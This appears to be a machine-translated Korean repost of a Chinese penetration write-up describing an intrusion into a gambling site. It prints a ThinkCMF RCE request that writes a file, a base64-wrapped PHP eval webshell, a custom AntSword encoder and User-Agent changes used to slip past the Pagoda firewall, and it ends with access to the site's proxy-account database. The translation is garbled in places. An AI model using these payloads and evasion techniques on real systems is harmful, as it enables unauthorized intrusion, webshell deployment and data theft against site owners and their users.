제목 : Pagoda 방화벽을 우회하는 BC 방송국의 침투 기록

0x00 信息收集​

메인 사이트에는 클라우드 WAF가 있으므로 테스트하자마자 차단되며 예비 테스트에서 사용할 수있는 구멍이 없으므로 하위 사이트로 전환하여 하위 사이트를 통해 귀중한 정보를 얻기를 희망합니다.
1049983-20220112164551048-417320309.png

이 사이트는 프록시 계정을 쿼리하는 사이트입니다. URL 입력 관리자가 자동으로 백그라운드로 이동합니다.
1049983-20220112164551620-1446535893.png

이 매개 변수를보고 ThinkCMF라고 생각합니다.

0x01 getshell​

ThinkCMF에는 RCE가 있습니다. 당신은 그것을 시도 할 수 있습니다
?
흰색 화면은 좋은 신호입니다. 성공해야합니다.
방문하다
1049983-20220112164552436-718691216.png

Ang Sword 연결을 시도하고 직접 오류를보고하십시오. 나는 방화벽을 만났을 것 같아요
1049983-20220112164552799-1836727167.png

그런 다음 돌아와서 쉘을 수동으로 phpinfo를 시도하십시오.
1049983-20220112164553285-397754991.png

물론, Pagoda 방화벽이 있습니다

0x02 绕过宝塔防火墙​

Pagoda는 일부 기능을 필터링해야하므로 페이로드를 직접 전달할 수는 없으므로 트래픽을 난독 화해야합니다.
모든 페이로드 Base64 인코딩을 전송하십시오
코딩 된 Base64가 전달되므로 Xiao Ma도 그에 따라 변경해야합니다. 전달 된 Base64를 한 번만 해독합니다.
조랑말은 다음과 같습니다.
? php @eval (base64_decode ($ _ post [zero]);
cghwaw5mbygpow==로 phpinfo (); base64 인코딩
보내다
1049983-20220112164553930-1137618434.png

Pagoda 방화벽이 더 이상 가로 채지 않았으며 Pagoda 방화벽을 성공적으로 우회했음을 알 수 있습니다.

0x03 改造蚁剑​

우리는 Base64 인코딩을 사용하지만 Ang Sword는 실제로 자체 Base64 인코딩 및 디코더와 함께 제공됩니다.
포함 된 Base64 인코더를 직접 사용하십시오
1049983-20220112164554625-1682842815.png

왜 이런 일이 일어나고 있습니까?
우리는 Ang Sword의 흐름을 분석하려고 노력합니다.
버프에 프록시를 설정하십시오
1049983-20220112164555153-1095949143.png

트래픽을 가로 채립니다
1049983-20220112164555617-1054448656.png

우리는 Waf가 쉽게 인식하는 두 곳이 있음을 알 수 있습니다.
하나는 다음과 같습니다. 사용자 에이전트 헤더의 키워드 : antsword/v2.1 이것은 Waf에게 내가 누구인지 알려주는 것과 같습니다. 그래서 이것이 첫 번째로 변경되었습니다.
둘째, Ang Sword의 트래픽에는 실제로 키워드가 있습니다. 예를 들어, CMD 매개 변수의 후 평가베이스 64_decode는 모두이며, 조랑말에는 Base64 암호 해독이 제공되므로 기본 인코더를 사용하면 WAF를 통과 할 수 없을뿐만 아니라 WAF가 없어도 조랑말에 연결할 수 없으므로 직접 인코더를 정의해야합니다.
새 PHP 인코더를 만듭니다
1049983-20220112164556034-100799155.png

PayloadBase64를 한 번만 인코딩하면되므로 데이터 할당을 직접 처리 할 수 있습니다 [ '_'] Base64. 임의의 매개 변수가 있는지 여부는 중요하지 않습니다.
인코더는 다음과 같습니다
'엄격한 사용';
/*
* @param {string} pwd 연결 암호
* @param {array} 인코더 처리 전에 데이터 페이로드 배열
* @return {array} 데이터 인코더가 처리 한 페이로드 어레이
*/
module.exports=(pwd, data, ext={})={
데이터 [pwd]=buffer.from (data [ '_']). tostring ( 'base64');
데이터 삭제 [ '_'];
반환 데이터;
}
그런 다음 UA 헤더를 수정하십시오
1049983-20220112164556453-1074055494.png

인코더 적용 디코더는 기본적으로 지정할 필요가 없습니다.
스팸 데이터와 멀티 파트 패킷을 추가하도록 선택하는 것이 좋습니다.
1049983-20220112164556945-1615615751.png

연결을 다시 테스트하십시오
1049983-20220112164557635-1866671821.png

1049983-20220112164558088-998864945.png

그런 다음 디렉토리를 클릭하고 여전히 문제가 있음을 찾으십시오. 디렉토리를 건너지 못합니다. 이 문제는 실제로 고질라가 해결할 수 있습니다. 고질라 말을 업로드하십시오.
누군가가 여기서 물어 보면 Godzilla Horse를 직접 업로드 할 수 있습니까? 실제 상황은 Get 매개 변수 전송에 대한 길이 제한이 있으며 일부 기호로 인해 PHP 파일의 잘림이 업로드되지 않아도됩니다.
1049983-20220112164558469-1007988296.png

웹 사이트가 많이 있지만 주요 사이트가 없다는 것은 유감입니다. 데이터베이스에는 많은 프록시 계정 만 있습니다. 시간 낭비입니다
1049983-20220112164558847-145283342.png

0x03 总结​

1. BC의 대상 기본 사이트에 액세스 할 때 악용 가능한 취약점이 없습니다. 하위 사이트에 액세스하고 관리 디렉토리를 입력하면 백그라운드로 이동하십시오. 2. CMS 지문 쿼리를 통해 하위 사이트는 ThinkCMF 프레임 워크 3입니다. RCE를 실행하여 문장을 작성하여 http://www.xxx.com/?a=FetchTemplateFile=public/indexpRefix='Content=File_PUT_CONTENTS(POST1.PHP ',') 액세스 주소 http://www.xxx.com/test1.php는 공백을 보여줍니다. 5. Ang Sword 연결을 시도하고 직접 오류를보고하고 Post 명령을 실행 한 다음 Pagoda 방화벽에 http://www.xxx.com/test1.phppost:zero=phpinfo();6이 표시됨을 찾으십시오. 여기에 RCE는 문장 Base64 Encryptionhttp://www.xxx.com/?a=FetchTemPlateFile=public/indexpRefix='Content=File_Put_Contents (locpp', '?php @eval (Base64_decode ($ _ post]) 7. phpinfo (); base64로 cghwaw5mbygpow==로 http://www.xxx.com/test2.phppost:zero=cghwaw5mbygpow==7 Pagoda Firewall에 대한 정상적인 액세스를 요청합니다. Pagoda Firewall은 Ant Sword의 사용자에 대한 사용자 용기를 가로 채겠습니다. 매개 변수. 하나는 : 사용자 에이전트 헤더의 키워드 : Antsword/v2.1입니다. 이것은 내가 누구인지 Waf에게 말하는 것과 같습니다. 그래서 이것은 첫 번째 요점입니다. 둘째, Ang Sword의 트래픽은 실제로 키워드입니다. 예를 들어, CMD 매개 변수의 Eval Base64_Decode는 모두이며, 우리의 작은 말은 Base64 암호 해독 8과 함께 제공되며, 이는 기본 Base64 인코더 '사용 Strict'를 변환합니다.
/** @param {string} pwd connection password* @param {array} 인코더 처리 전에 데이터 페이로드 배열* @reray {array} 데이터 페이로드 배열이 인코더 처리 후*/module.exports=(pwd, data, ext={})={
데이터 [pwd]=buffer.from (data [ '_']). tostring ( 'base64');
데이터 삭제 [ '_'];
반환 데이터;} 9. ANT Sword 사용자 -agentVaule:의 요청 정보에서 UA 헤더 이름 :을 수정하십시오. 디렉토리를 클릭하여 여전히 액세스하지 마십시오. 12. 동일한 방법이 Godzilla의 기본 Base64 인코더를로드하고 리모델링하는 데 사용됩니다.
원본 링크 : https://xz.aliyun.com/t/9295
 
뒤로
상단